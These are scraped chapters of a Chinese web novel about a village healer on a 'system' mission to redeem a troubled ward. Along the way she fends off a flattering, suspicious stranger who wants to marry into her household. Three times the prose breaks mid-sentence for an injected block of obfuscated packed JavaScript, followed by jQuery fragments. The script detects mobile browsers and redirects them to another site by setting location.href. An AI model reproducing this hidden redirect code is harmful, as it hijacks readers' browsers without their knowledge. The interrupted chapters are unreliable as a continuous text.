《攻略的反派变心后送来新夫君》
2. 第 2 章
村子里又多了一个外村人。
善良的二丫爹和狗蛋爹合力把身形纤瘦的外村人搬到狗蛋家院子的木板上。
狗蛋龇牙咧嘴,双手捂着屁股,好奇地探头检查新来的外村人长什么模样。他瞧来瞧去,得出一个结论:“静姝姐姐!他长得比姓褚的那个好看!”
柳静姝是村子里唯一的大夫。她正给外村人把脉,时间越长,面色越沉重。她观这位年轻男子的面色不像久病之人,脉象却完美契合书上给出来的案例。
脉象与书中描述一致本是很好对症下药。柳静姝敏锐地察觉到一丝不妥之处,正打算再细细诊脉时,那个男人虚弱的脉搏骤然弹跳一下,然后他的心跳持续剧烈跳动。
没有人搭理狗蛋,他寂寞地在门口东张西望,小嘴巴叭叭叭地敞开说:“静姝姐姐你不要褚那谁了!我瞧着这个大哥哥比他好看多了,把他娶进门更有脸面!”
狗蛋把柳静姝视为一个很厉害的大姐姐。而褚怀春是不听柳静姝话的坏孩子。
狗蛋年纪小,村里遭难那年已经到了会记事年龄。
他清楚的记得那一年的村子是收留了一对路过的夫妻,没成想这对夫妻引来了发狂的妖兽。
柳静姝就像神仙一般救下村子的里的所有人,褚怀春也是被柳静姝救下来的外村人。
一边是让村子遭难的外村人,另一边是救下村子的外村人。村长和幸存下来的村民商量了许久,决定在村子里划出一块地给没有去处的柳静姝落脚。
褚怀春是柳静姝带来的人。
狗蛋自小被爹娘管着,也把爹娘气糊涂的顺嘴说出来的气话记住了:
一个怎么教导都不会听话的坏孩子换一个会听话的好孩子就是了。
狗蛋补一句:“娶个听话的夫君回家热炕头就极好!”
突突突——
心脏仿佛要从外村人的胸腔跳脱出来。
柳静姝按在外村人手腕上的手可以清晰摸到对方越来越有力的脉搏。
狗蛋的童言童语把晕过去的外村人刺激醒了。
柳静姝摸不清这个新来的外村人是什么底细,但她严肃的表情让二丫和狗蛋的爹娘面露难色。
狗蛋爹:“静姝啊,这外村人是不是不好了?”
“他要是不好要快点丢、送出去!”狗蛋娘一听,连忙叮嘱狗蛋爹趁这外村人断气前赶紧把人搬走,“这外村人可是在静姝门前晕过去的,可别连累静姝了。”
狗蛋娘很相信柳静姝的医术。别的不敢说,在这个村里,柳静姝敢说医术不精,救不了人,她们整个村子的人就敢备好棺材,准备后事。
“鼻子是鼻子,嘴巴是嘴巴。狗蛋说得对,要是能活下来给静姝丫头当个赘婿也挺合适。”
二丫娘颇为可惜地啧啧嘴巴说道。
“比褚怀春那小子强!”
哗啦——
躺在木板上的外村人昏睡中惊坐起。他在众目睽睽之下表演一番医学奇迹,环顾一圈像是在确认谁是他的救命恩人。最后,他朝着柳静姝作揖答谢,直夸柳静姝的医术高明。
这外村人的嘴啊,吧嗒吧嗒的上下一张一合,夸人的语句不要钱的往外跑,把柳静姝夸的地上有天上无。
就连狗蛋也屁颠屁颠的跑过来跟他学怎么讲好听的话。“静姝姐姐这人油嘴滑舌的,不是好人选。”
外村人嘎巴一下咬到舌头了:“……”
到了这地步,谁还看不出新来的外村人打的什么主意。
一直沉默的二丫爹抽口烟说道:“狗蛋说得对。”
大丫小声对二丫爹说话:“二叔,他长得好看。”
“好看又不能当饭吃去。”二丫爹持烟杆的手在大丫的脑袋瓜子上一敲说,“你还记不记得村子那年发生什么事?”
村子里的每一个人都对那年发生的祸事讳莫如深。
柳家人口少,就柳静姝和褚怀春两个人。
有柳静姝在,他们夜里尚且还能安然睡去。万一这外村人像当年那对夫妻一般引来什么大祸,柳静姝有个三长两短,他们不但报不了仇,还自身难保。
二丫:“爹,他长的好看!”
二丫爹:“好看还能当饭吃不成?”
此话一出,二丫爹瞧见柳静姝的眼神,磕磕绊绊地问:“静姝你还真瞧上这小白脸了?”
“好看能多吃一碗饭。”柳静姝一本正经地胡说,“可惜我没钱吃饭。”
“我有钱!”外村人掏出一个鼓囊囊的钱袋说,“我真的有钱,姑娘你想吃什么尽管提。”
“这更可疑了!”柳静姝嘶了一声,“你绝对有问题!”
“我是大大滴良民啊!”外村人慌里慌张的拿出可以证明他身份的证据,骨节分明的手指指在他是姓名栏上说,“在下祁曜灵,是一名书生。听闻青山村里有一位医术高明的大夫,故慕名而来。”
祁曜灵有意摆出他这张脸最好看的角度,音色清朗,语气不快不慢的解释自己为什么会来青山村,端的是一副君子模样。
如果他那双眼睛没有安上钩子就更像一个好人了。
柳静姝扫了一眼可以证明祁曜灵身份的过路凭证,顺着微微颤动的手指尖往上看。她看到身形轻颤的祁曜灵露出腼腆的笑容,说道:“现在已经过完年了。”
“是啊。静姝姑娘的年夜饭吃了什么?”祁曜灵顺着话题杆往上爬,“我吃过一道极其美味的菜……”
他用了许多好听的词描绘出这道菜有多好吃,极力推荐柳静姝尝一尝,把嘴馋的三个孩子口水直流三千尺。
“过完年了,再搞什么杀猪盘就不合适了吧。”柳静姝油盐不进,完全没有被祁曜灵口中前无仅有的菜勾住胃口,“没什么事,您就请回吧。”
她下了逐客令。
“其实我还会修补屋顶!”祁曜灵连忙展现他的身上具备的才能说,“我晕倒前似乎听见姑娘家的屋顶坏掉了。”
祁曜灵见柳静姝毫无反应,又诚恳的补一句:“我可以帮静姝姑娘补屋顶,真的。”
“屋顶而已,我自己能补。”柳静姝没有同意让祁曜灵帮她补屋顶,她手掌朝上,对他说,“你只需支付看病钱即可。别妄想拿补屋顶来当看诊费。”
祁曜灵连忙把钱袋子打开,随手掏出二两银子给柳静姝,没有忘记观察柳静姝的面部表情是满意还是不满意。“二两银子不够的话,我还可以再给多一些。”
他一点都不吝啬自己的钱财,掏了两次钱袋子都没看到柳静姝说话,顿时双眼发红了。
“嗯?”柳静姝一脸迷惑的看着祁曜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579216|205073||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
灵把放在她手心的钱拿走又放回钱袋子里。
“你这是要赖账了?”
狗蛋、大丫和二丫气鼓鼓地撸起袖子,准备代替自己的长辈为柳静姝出口恶气!
这个书生太欺负人了!
“你怎么能欺负静姝姐姐!”
“不是!”祁曜灵眼里饱含泪水,非常心痛地说,“静姝姑娘一定吃了很多苦!这些钱全都给你!”
“啊……”
柳静姝手上一沉,双眼发懵地看祁曜灵通红的眼尾。
大概是发现了柳静姝的关注点在哪里,祁曜灵憋足了一口气。他不但把眼睛和脸颊憋的更红润些,还把眼角挤出一滴怜惜的泪珠。
“柳姑娘……住在你家的那个男人真是太不会照顾人了!”
身旁的三个男人都像是见到珍稀精怪似的把眼角含泪的祁曜灵团团围住,端的是勤奋好学的模样问:“他真的哭了?”
“哎哟!静姝姐姐你快看,他的眼角真的能挂眼泪!”狗蛋惊呼一声,“他比褚那谁更厉害!”
祁曜灵自信地挺起胸腹。
“换做是我,一定不会让静姝姑娘补屋顶。我会把屋顶补好,把碗洗干净,绝不会让静姝姑娘受那等杂事困扰。”
祁曜灵没有指名道姓说是哪个人让柳静姝为难了,偏让在场的其他人即刻联想到不听劝告非要和外村人进山的褚怀春,很自然的把祁曜灵和褚怀春放在一起做对比。
村子里的人虽排斥外村人,但不会为难路过青山村的路人,更不会阻拦慕名来找柳静姝治病的外村人。
村里的人不会轻易主动和外村人搭话。
即便是见到晕倒在地的祁曜灵,他们会问过柳静姝的意见在做决定要不要理会他。
就算是救人,也得让柳静姝在场才敢救人。
村里的人很害怕又救下一个带来灾祸的外村人。
“不需要这么多银子。”柳静姝在钱袋子里掏来掏去都没有掏出几个铜板,“你在这等一会,我回去拿钱。”
她识破了祁曜灵碰瓷的诡计。
她打算狠狠敲祁曜灵一把,让他长长记性,下回不要胡乱碰瓷他人,却怎么都过不了良心那一关。
柳静姝给祁曜灵看“病”,没有开药方,更没有给他抓药,完全不需要那么多钱。
祁曜灵只需要给诊断出碰瓷病的辛苦费就行。
“不必计较这么清楚。”祁曜灵巴不得柳静姝把钱全部收下,“不止是辛苦静姝姑娘,还辛苦阿叔他们收留我。”
狗蛋爹连忙撇清关系:“什么收留你?我们家可不留外村人过夜!”
二丫爹赶紧跟上:“我们家也不留!”
祁曜灵一震,迅速转身柳静姝说:“天色已晚——”
柳静姝示意祁曜灵抬头看还没有完全亮起的天。
“大白天的,别说胡话。”
没等祁曜灵编出留宿的缘由,狗蛋家外边传来褚怀春着急的呼唤声。
“静姝!”
“静姝你在哪里!”
声音由远及近,褚怀春的身影出现在众人眼前。他一眼就看到祁曜灵,凶狠的说:“你是谁!离静姝远一点!”
“啊?”
祁曜灵捂住胸口说,“此人好、好可怕啊,静姝。”
3. 第 3 章
“怎么能对姑娘这么凶呢。”祁曜灵摇头又叹气,好像真的是在哀叹褚怀春的不懂事。
他为了彰显自己包的特别和温柔,特地用比褚怀春温柔数倍的语气安慰柳静姝,细声细语的问她有没有被凶巴巴的褚怀春吓到。
“静姝姑娘有没有哪处地方不舒坦?”
“你是哪个啊?外村来的吧!”褚怀春跟着乔依依、楚翊一同进山,他进了山林里听到这俩人说起昨天有个奇怪的人打听柳静姝。
“是你在打听静姝的消息吗?!”
褚怀春不觉得有人打听柳静姝的消息是已经什么奇怪的事情。
毕竟,柳静姝声名在外。虽说不如神医的名声大,在这方圆百里的地方,医术应当是排的上名号。
这般想着,褚怀春倍感荣幸,欢欢喜喜地炫耀起柳静姝医治哪个疑难病症的病人,获得了什么嘉奖。他高兴的样子,仿佛褚怀春才是那一个受人尊敬的医者。
乔依依仔细端详褚怀春的表情,找到一样非常有趣有好玩的解闷玩意儿说道:“有柳姐姐这么厉害的医者,听你说这柳姐姐还是一名修炼的修士,有她从旁教导,褚怀春你如今修炼的如何了?”
楚翊看褚怀春突然阴沉下来的脸色,暗道不妙。他正想要讲点什么话来缓和一番褚怀春和乔依依的关系,又觉得乔依依这话说的没问题,他便顺着她的话题继续问下去。
他使用的借口更是让褚怀春难受。
“柳姑娘如今是什么境界了?”
楚翊问起柳静姝的境界,让褚怀春的面容更加阴郁。
若是问及褚怀春的修炼进度,他尚且还能胡说八道一番,或者是打个哈哈蒙混过去。反正,乔依依和楚翊都是知道褚怀春是一个刚刚开始修炼的散修。
无宗门,无背景,空有一个灵根,褚怀春的修炼进度慢是情有可原!
可是!
乔依依和楚翊怎么能问柳静姝的境界!
寻常人不会关心柳静姝究竟是什么境界是修士。
因为柳静姝的医术足够引起旁人的重视,修炼到何种境界不是普通凡人会关心的事。更何况,柳静姝平日里衣食住行都与普通凡人别无二致,除了关上门需要打扫卫生、清洗碗筷、衣物使用术法。
就连与柳静姝朝夕相处的褚怀春有时都会忘记她其实是一名有修为在身的修仙者。
这般想过之后,褚怀春更是感受到难堪。
他已经没有兴致去探求乔依依和楚翊的修炼方式,更是不愿意去听他们二人分享的修炼方法。
褚怀春要回家去,回到有柳静姝在的地方。
他很想质问柳静姝究竟是什么意思
为什么知道他褚怀春有灵根,还不懂得为他筹谋划策。既然柳静姝不懂得怎么教导他如何修炼,她就该放自己拜入宗门!
与其说一些无用的大道理以及村外边有人会害死他的废话,不如做点对他有用的事。
若不是这样,他褚怀春怎么会有难堪的时候。
褚怀春越想越气,等到他回到柳家时,并没有找到柳静姝在哪里。
从山上返回到柳家已经发泄了一通,褚怀春现在仍然一肚子火气。他喊了好几声柳静姝的名字,无人应答。
直到,气急的褚怀春推开柳静姝的房门才发现柳静姝不在家中。
无处发泄的怒火憋在褚怀春的心里无处宣泄,担心又着急的寻找柳静姝在哪里。
“静姝姑娘这么好,有人打听她的消息不奇怪吧?”祁曜灵理所当然的说道,“家里要是有静姝姑娘在,我的心一点不慌了,安稳的很。真羡慕你能陪在静姝姑娘身侧。”
祁曜灵背后的狗蛋和二丫一家人频频点头,流露出赞赏的目光。
反观住在村里的褚怀春,背后空无一人,形单影只。
“你到底是谁啊!”愤怒使褚怀春目眦尽裂,几乎控制不住他的脾气。他可以很确定祁曜灵不是村里人,更不是村里哪户人家的有权有钱的远亲。
“柳静姝!你怎么能帮外村人说话!凭什么你能和外村人做朋友!我却不能和楚翊、乔依依做朋友!”
褚怀春指摘柳静姝的错误。“你见外村人就是赚钱、做好人!我见外村人就是倒霉、丢失性命!凭什么!你蛮不讲理!”
“你住嘴!静姝……姑娘不让你和外村人见面一定有静姝姑娘的道理。”祁曜灵看不见褚怀春气疯的模样,还在用言语刺激他,“静姝姑娘是为了你好才这般叮嘱你。”
柳静姝从褚怀春出现的那一刻起,便没再说过话。
褚怀春一直在说话,他说完轮到祁曜灵说。他向柳静姝发泄怒气之后,不止是祁曜灵,就连狗蛋和他的爹娘、大丫、二丫和她的爹娘也纷纷开口指责褚怀春做的不对。
这一行人突突突的说,柳静姝的脑瓜子突突突的工作,积极找准可以说话的机会。
他们说到口干舌燥都停不下来,柳静姝压根找不到见针插缝挤进去说话。
她有一个毛病,只要有人在和她说话,她就会听对方全部说完抽才可以表达自己的意见。
这导致柳静姝在吵架一事上总处在劣势。吵架的人一通乱讲,讲得唾液横飞,她要找到对方说话停顿的空隙才能开始个人的语言输出及反驳。
她的毛病一直没有改过来。
幸好祁曜灵把话说到一半就虚弱地捂住胸口,平复激动的心情,给了柳静姝说话的契机。
柳静姝:“你对我还有什么地方不满意?今天你可以尽管说出来。”
柳静姝的敞亮把褚怀春问懵了,
他支支吾吾好一会,之抓住柳静姝对外村人的态度说事。
同样是外村人,怎么能区别对待呢?
褚怀春:“你总说不可区别对待,你如今对这个外村人的态度和乔依依、楚翊的态度一样吗?你不也是在区别对待吗!以小见大,你对待他们三个人的态度还不足以说明你日后会对家境不同的病人区别对待吗!”
这几年褚怀春终于抓住柳静姝的错误,将此把柄当成令箭毫不留情面的刺穿她教导他的伪善面具。
褚怀春早已将找柳静姝对峙为何不好好教导他修炼一事抛之脑后。
柳静姝顾及到有外人在场,有些话不合适当着这么多人的面详细解释。“有什么话回去再说。”
“不行!”褚怀春不听柳静姝的话,他非要在这里把事情一桩一件的说个清楚分明,“等你回去,一定不会把事情说清楚。你只会说全都是我的错,你今日非得在狗蛋家把事情说个明白!”
柳静姝自认为没有做错什么。自她把父母双亡、族人遗弃的褚怀春带到青山村的那一天起,已经所有能告
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579217|205073||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
诉褚怀春的事都说清楚了。
“我从未拦住你与别的外村人往来。早已告诉你,要想活命一定要远离乔依依和楚翊。”柳静姝一直和褚怀春强调他靠近《机缘》这部小说的主角乔依依和楚翊。
书中对褚怀春的着墨不多,只有几个章节的简单介绍:父母双亡、族人遗弃、偶然遇见修士乔依依、楚翊开始修习术法。
开场即黑化。
因为初入江湖的乔依依和楚翊都是没有经受过挫折打击的少年人,仍然怀有幼稚、捉弄人的习性。
此二人把修炼天赋平平的褚怀春当解闷的玩具一般玩弄,几乎没有给褚怀春传授正确的修习功法。
当褚怀春无意间偷听到乔依依和楚翊二人的谈话,这才知道自己被这两个恶劣的修行者玩弄了。
很难说乔依依和楚翊是不是故意让像狗皮膏药似的褚怀春偷听到他们两个人的对话。不然很难解释两个有修为在身的人会让一个普普通通的凡人偷听到对话。
褚怀春:“你是在嫉妒!”
柳静姝甚少使用术法,导致他先入为主认定柳静姝的修为不高。
他听乔依依说,清洁术法是最简单不过的小法术。柳静姝连使用这小法术都这般费劲,怎么可能会有很高的修为!
“你在嫉妒乔依依和楚翊的修为比你高、比你厉害、比你会教导我怎么修炼!”褚怀春也不怕柳静姝会术法一事让村子里其他人知道。
早几年村子里遭难时,村民们已经见识过柳静姝的本事。
要不是他褚怀春与柳静姝朝夕相处,他又怎会知道柳静姝有多懂得装神弄鬼。
什么柳静姝救下整个村子,怕不是那只妖兽早已精疲力尽,让柳静姝捡了漏!
狗蛋娘骂骂咧咧地举起扫帚就要往褚怀春的脸招呼过去。
祁曜灵的身子一个不小心歪向狗蛋娘袭击褚怀春面庞的方向,逼得狗蛋娘不得不即刻收力。
狗蛋娘:“嘿!你这小子没吃饭啊!”
“对不住、对不住!”祁曜灵连连向狗蛋娘致歉,虚弱的说道,“婶,我真没吃早饭。我急着找静姝姑娘呢。”
“你真认为那两个人能教习你学习术法?”柳静姝把修炼的技巧完全嚼烂了塞进褚怀春的嘴里,这才让他勉勉强强学会引气入体。
书中说褚怀春在修炼上没有天赋。
他是听到乔依依和楚翊的对话黑化后修习魔功。
褚怀春修炼魔功,使得修为大涨迫不及待的找上乔依依和楚翊一雪前耻!
他的确把高傲的两个修仙者逼入绝境,同时也让他们获得第一个机缘。
乔依依绝地反击击败了褚怀春。
褚怀春就这样下线了。
自他死后,楚翊和乔依依把此事当作茶余饭后的谈资,直言褚怀春此人不但不识好歹,还心术不正修习魔功,令人不齿!
褚怀春的死改变了两位主角天真的个性,懂得了不可轻易教人修炼,以免造就蛇夫与蛇的悲剧。
褚怀春:“没错!他们就是比你厉害,比你强!”
“那你跟他们走吧。”柳静姝不咸不淡的说,“既然你认为我没有教导你的能力,你便去寻一处可以教导你的修炼好去处。”
褚怀春一怔,迟迟不能回过神来,不敢相信自己听见的话。“你要赶我走?”
4. 第 4 章
柳静姝想不明白一个系统为什么会选定褚怀春作为攻略、救赎的对象。
褚怀春除了开始那几个章节出现外,没有在后文哪处地方再有提及,他连一个反派该有的场面都没有。
如果不是因为系统给的奖励实在是太多了,柳静姝真的不会考虑做一件费力不讨好的事。
且不说主角和配角在剧情的吸引力影响下会不会走向原著编好的方向和结局,就说褚怀春能不能一直避开乔依依和楚翊都是个问题。
柳静姝拿了系统的奖励,她就该认真完成系统安排的任务。
褚怀春没有天赋,此生能够摸到踏入修行门路已是极难的事。他能引气入体,身子骨也会比寻常人要强健许多,即便是年纪大了也不会遭受太多病痛的折磨。
柳静姝原先不让褚怀春拜入宗门有两个原因,其一是原书中的两个主角,其二是褚怀春拜入宗门只能做杂役弟子,他的性格容易得罪人,一旦在宗门内被其他弟子排挤,他绝对会受不住。
至于褚怀春会不会向原书中描写的那样走上邪魔歪道的路暂时不议。
柳静姝愿意做攻略褚怀春的任务,除了系统的巨额奖励,还有她对褚怀春的经历共情外,最重要的一点是——
系统没有威胁到柳静姝本人安危的能力。
要是对柳静姝本人有威胁,甭管奖励多丰厚,她都不会多看一眼,而是会用尽手段把系统湮灭。
“对,既然你这么想离开,那就走吧。”柳静姝见褚怀春这一次是真的想离开,态度非常坚硬,比以往提起要拜师修炼还要坚定许多。
她本来想着乔依依和楚翊的耐心已经消磨的差不多了,等到两个主角主动离开,褚怀春
柳静姝没有强留他人在她身边的爱好。
更何况系统刚刚更新了一行文字:
假如褚怀春决意离开,不可多加阻拦。
这项长期任务终于出现任务结束的倒计时天数。
褚怀春一咬牙,放下狠话:“这是你说的!日后就算是你求我,我也不会回来了!”
祁曜灵暗暗观察柳静姝的反应,若有所思地盯紧脾气火爆的褚怀春看。
褚怀春转身欲走,发现柳静姝真的没有拦下他的意思,胸腔憋足了火气,头也不回的走了。
褚怀春临近门口,还把狗蛋家的门踢坏了。
狗蛋气得迈开小短腿追在褚怀春背后骂。
褚怀春走的快,狗蛋追不上他,便在家门前用尽力气骂到累了才垮着脸回家。
狗蛋:“静姝姐姐在修门吗?”
狗蛋娘没有因为褚怀春而迁怒柳静姝,她只骂褚怀春,边骂边招呼柳静姝过去坐着说说话,修门的杂活让狗蛋爹去做。
狗蛋爹乐呵呵地听狗蛋娘的吩咐做事。
“我早就想换一扇新门了。”狗蛋爹蹲在门边柳静姝说悄悄话,“你婶不愿意啊。她说换新门是浪费钱,这门有你静姝年前发下来的保家符在,不怕妖魔鬼怪。”
结果被一个人踢坏了门。
柳静姝想一想说:“叔你说得对,是该换一扇门了。”
狗蛋爹像找到同党一般激动地说:“可不是!换扇新门多豪气啊!”
“叔!你换门找我啊!”祁曜灵往门上一靠,趁势帮柳静姝把门扶好说,“我家是做生意的!您要的门、窗、屋顶……你要啥都行,我都能给你做好!”
他摆出英俊潇洒的姿势靠在门边上,笑嘻嘻地推销自己。
柳静姝抬眼看向祁曜灵问:“你不是书生吗?”
“哎呀!”生活不易,祁曜灵叹气说道,“静姝姑娘你有所不知啊。世道艰难多恶人,我头一次出门就遇上一名拦路贼,他把我身上的钱都骗走了!为了生存,我只得一边读书习字,一边做工挣钱……”
祁曜灵把自己说的很可怜。待他眼睛一抹,竟然发现柳静姝和狗蛋爹直勾勾地望着自己看,难免感到羞涩,忐忑地摸一把窄腰问道:“静姝姑娘你怎么这样看着我啊?”
狗蛋爹:“静姝。这小子手脚不干净,你可别被他诓骗了去。”
祁曜灵吓得花容失色。“叔!你怎么能这样想我?”
柳静姝:“你钱袋子里的钱怎么来的?”
“……”
祁曜灵往腰间一摸,表情一下子变得空白。
二丫爹竖起耳朵听完柳静姝那三个人的谈话内容,老神在在的背着一双手缓缓走过来说道:“你狗蛋叔说得对,这小白脸不靠谱。”
祁曜灵很不禁吓。狗蛋爹和二丫爹简简单单的两句话已经把他那一张俊脸唬得一片惨白。
“不是、不是!”祁曜灵慌里慌张地为自己言语的纰漏作填补,“我初出茅庐真的被一个大恶人骗了身上所有的钱财!要不是遇上一个人美心善的大好人,我当天晚上必定露宿街头,流浪回宗……家。”
两个经验丰富的阿叔在认真分辨祁曜灵讲的是真话还是假话。
祁曜灵可不敢轻易让狗蛋爹和二丫爹再多说一句坏他形象的话。“是真的,这不是留了一笔钱在身上嘛,我再写写画画什么的,攒下这么多钱。”
“既然是你的全身家当怎得全都给静姝姐姐了?”狗蛋气坏了,但是瞅见门边上有热闹看,他又屁颠屁颠的带上两个小伙伴一块来看祁曜灵怎么说话,“我爹除了私房钱,全都给我娘了!”
狗蛋爹眼疾手快捂住狗蛋胡咧咧的大嘴巴。“什么私房钱,这可不兴说昂!你还想不想换扇新门了?”
柳静姝:“这门用不着叔的私房钱,既然是褚怀春踢坏的门,该由我来付这钱。”
“静姝你说的是哪话呢!”狗蛋娘正忙着收拾今早捶狗蛋的扫帚,听清门边一大伙人在说什么,连忙走过去说道,“褚怀春的事儿关你什么事了?虽说是你照顾那褚怀春几年长到现在这年纪,可他是从根里坏死了。”
狗蛋娘本不想多说,从前只当是年轻人的矛盾。她今儿瞅那褚怀春的做派实在是不满意。
她瞥一眼在门边上傻乐的狗蛋爹说道:“你带上狗蛋出去找人做扇门,我和静姝她们说话。”
狗蛋爹和狗蛋对视一眼,乐颠颠地把二丫爹推出去一起找个懂得做漂亮大门的人做新门。
祁曜灵眼里有活,忙不迭推销自个。几个男人像出门放风的家犬冲了出去。
狗蛋娘把二丫娘和三个小姑娘带到屋里说话。“静姝你刚把褚怀春带到我们村,我们都怜惜你们两个孩子不容易,你又是当姐姐似的教褚怀春……”
柳静姝只年长褚怀春一岁。
十四岁的柳静姝带着一个十三岁的褚怀春来到青山村住下,她不但救下了青山村还担负起村里成年男人做的活,每天都帮着巡视青山村附近还有没有会伤人的妖兽。
大家伙看柳静姝年纪不大,又经死里逃生村长家的大娃口述亲眼所见的一场恶战,知道柳静姝击败袭击青山村的妖兽不容易,都想着让她好好休整一番。
大家伙都害怕妖兽,都怕死。可是柳静姝是唯一一个可以保护她们的人。万一真有哪只妖兽在青山村附近徘徊,柳静姝还有体力与之一战。
村民们体谅柳静姝的辛苦劳累,柳静姝承了村民们的好意,这几年大家都和和睦睦的过日子。
柳静姝总能在山上找到些可以填饱肚子的吃食,没让褚怀春饿过肚子。
刚来到青山村的褚怀春浑身都是刺,看他和柳静姝两人的小屋连老鼠都不光顾,家里有余粮的都对褚怀春小偷小摸睁一只眼闭一只眼。
每回都是柳静姝带上褚怀春过来道歉,把褚怀春摸走的东西完璧归赵,还赔了礼。
狗蛋娘她们这些做长辈的见柳静
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579218|205073||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姝这做派,体谅她做姐姐的不容易,都私底下好好教褚怀春不能做这偷鸡摸狗的事。
哪知被褚怀春顶撞反咬,不服管教。不止如此,谁靠近了柳静姝,褚怀春就瞪谁,谁多看一眼他,他就咬谁。
谁管褚怀春都没有用,他只听柳静姝的话。
等村里安静几日,柳静姝开始做起普通的大夫,收了诊金,有了收入便把破旧的屋子重新刷新。
那时候的褚怀春看上去是极为尊重柳静姝。自从三个月前结识了两个外村人,褚怀春就跟变了个人似的,对柳静姝越发的不尊重了。
二丫娘小心翼翼瞅了一眼越说越气的狗蛋娘,好心提醒柳静姝多留个心眼应付褚怀春:“我看褚怀春这回是铁了心要走——”
“走他个屁!”狗蛋娘骂骂咧咧一句,惊得两个小丫头跳起来。她手忙脚乱的哄了几句,继续说道:“我瞧褚怀春这小子半道又灰溜溜的跑回来找静姝拿钱!那小子去年嘴上说不去拜师,夜里偷偷摸摸带上钱财出村被村长家的大娃瞧见了。我还当他真走了呢,结果把钱花光又跑回村里来了。”
“说远了。”二丫娘拍一掌狗蛋娘的大腿说道,“静姝你和褚怀春有婚约在身不?”
“没有。”柳静姝一愣,不知道谣言从哪里来,“婶,你是听谁说的?”
二丫撅嘴说道:“褚怀春自己说的!”
这是狗蛋娘和二丫娘留柳静姝说话的原因。
前些天二丫听见褚怀春对两个外村人介绍柳静姝的身份,说她是他有婚约的邻家姐姐。
二丫机灵,没有跳出来问褚怀春。她和大丫赶紧回家问二丫娘知不知道这事。
二丫娘也不知真实情况,转头来问狗蛋娘知不知情。
她们两个女性长辈和柳静姝家挨着住,柳静姝有些拿不准的事会来问她们。
这可是婚姻大事啊!
两人不好火急火燎地去问柳静姝,都等着柳静姝主动来问。幸好褚怀春还没有把这事宣扬出去。
二丫娘:“没有就好。这事你留个心,可别真让褚怀春传出点什么话来,快点撇干净为好。”
柳静姝点头。
“就算是没有婚约,褚哥哥对姐姐越发差了。他这是变心了。”大丫挨着柳静姝坐着,她睁大眼睛对柳静姝说道,“姐姐可千完别和他在一起。”
柳静姝对褚怀春没有男女之情,她把自己的位置摆的很正。她是作为一个临时照顾褚怀春的监护人或者是姐姐的身份去攻略褚怀春,从不说暧昧不清的话,不做让人误会的举动,时刻划清男女不同性别的界限。“不会的。”
狗蛋娘:“你和褚怀春是怎么个事?”
“几年前有个人出了大价钱托我照看褚怀春,我应下了。”柳静姝简单说明关系,不想惹人误会,“拿钱办事罢了。”
听起来有托孤的意味了。
狗蛋娘把头一点,又提醒一句。“既然这样,你们再住一块容易让人多想。”
“事实上,我打算等褚怀春满十八岁就把他划出去住。”柳静姝说道,“我已经找村长把地划出来了。”
两位女性长辈没有追问为什么非得是十八岁,只当是柳静姝当年与人的约定。
把话聊到这已经是把误会说开了。二丫娘借此机会好好和狗蛋娘一起好好教教三个小姑娘怎么辩识男人的骗局。
一聊就聊到乐衷于做新门的几个男子把新门安上。
祁曜灵这忙前忙后的做新门,狗蛋娘也不好不留他吃饭。
他听到可以留下来吃饭,笑嘻嘻地向狗蛋娘道谢。“谢谢婶!您放心,我吃完饭一定努力帮静姝姑娘把屋顶给修好!”
狗蛋狐疑地睨一眼祁曜灵问:“你这外村人不会还要多蹭一顿饭吧?蹭我静姝姐姐的饭?”
柳静姝:“嗯?冲我来的?”
6. 第 6 章
褚怀春如同遭受到重大背叛一般站在门口,神情惊愕又气愤。他悲愤地冲柳静姝喊道:“静姝你怎能让这个外村人进来!他是外村人,健健康康的外村人!”
他气到一直重复祁曜灵是外村人的身份,还着重强调祁曜灵身体康健,不是病人。
在褚怀春的认知里,病人可以获得柳静姝的优待。
“为什么不能让他进来。”柳静姝不紧不慢地从爬梯上下来说,“这是我家。”
“这也是我家!”褚怀春想都没想就说道,“我邀请楚翊和乔依依来家里做客怎么就不行了!”
他气到脑子发昏,偏生柳静姝还是那一张平静无波的脸。
像木头人一般。
冷漠,无趣。
褚怀春在柳静姝冷淡的眼神注视下越发气恼。他不满地说道:“这是你家,难道就不是我家了?”
柳静姝没有立即答话,而是静静地看褚怀春,仿佛从外面回来的褚怀春已经换了一个人,她认不出他了。
她需要时间去辨认说话的人是不是褚怀春。
柳静姝说道:“这里的东西都是我置办的。”
“我也有为这个家出过力,出过钱!”褚怀春理直气壮地说着,全然忘记了刚刚搬到青山村的害怕和担忧。他日日都担心会被柳静姝抛下的恐慌。
他只记得后来可以安心在这间屋子住下来的心安和宁静,记得他在这间屋子被柳静姝教导、听她说道理的烦躁和不被理解的苦闷。
